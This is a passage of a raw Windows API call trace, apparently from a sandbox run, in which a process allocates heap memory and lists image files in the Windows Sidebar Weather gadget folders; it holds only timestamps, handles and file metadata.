(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200ab8 [0081.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f360 [0081.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0081.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200ad8 [0081.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f468 [0081.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0081.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200af8 [0081.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f570 [0081.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.055] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0081.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200b18 [0081.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f678 [0081.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.057] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0081.057] GetLastError () returned 0x12 [0081.057] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0081.057] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.057] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.057] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371ebb83, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x371ebb83, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0081.057] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0081.057] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0081.057] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0081.057] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0081.057] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0081.057] GetLastError () returned 0x12 [0081.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.057] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125eb20) returned 1 [0081.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ea18) returned 1 [0081.058] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aadd637, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 1 [0081.058] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.png", cAlternateFileName="")) returned 1 [0081.058] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868814d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868814d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868a7631, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868a7631, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="18.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868cd78e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868cd78e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="19.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868f38eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868f38eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1px.gif", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868f38eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868f38eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86919a48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86919a48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="20.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86919a48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86919a48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="21.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8693fba5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8693fba5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="22.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86965d02, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86965d02, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="23.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8698be5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8698be5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac34285, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="24.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8698be5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8698be5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac34285, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="25.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b1fbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869b1fbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac5a3e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="26.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b1fbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869b1fbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac5a3e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="27.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d8119, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869d8119, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad3ec17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="28.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869fe276, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869fe276, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="29.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a243d3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a243d3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a243d3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a243d3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="30.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a4a530, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a4a530, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="31.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a7068d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a7068d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="32.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a7068d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a7068d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="33.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a967ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a967ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="34.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a967ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a967ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="35.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86abc947, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86abc947, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="36.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86abc947, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86abc947, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="37.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae2aa4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ae2aa4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adfd2ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="38.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae2aa4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ae2aa4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adfd2ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="39.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b08c01, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b08c01, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2ed5e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b2ed5e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, 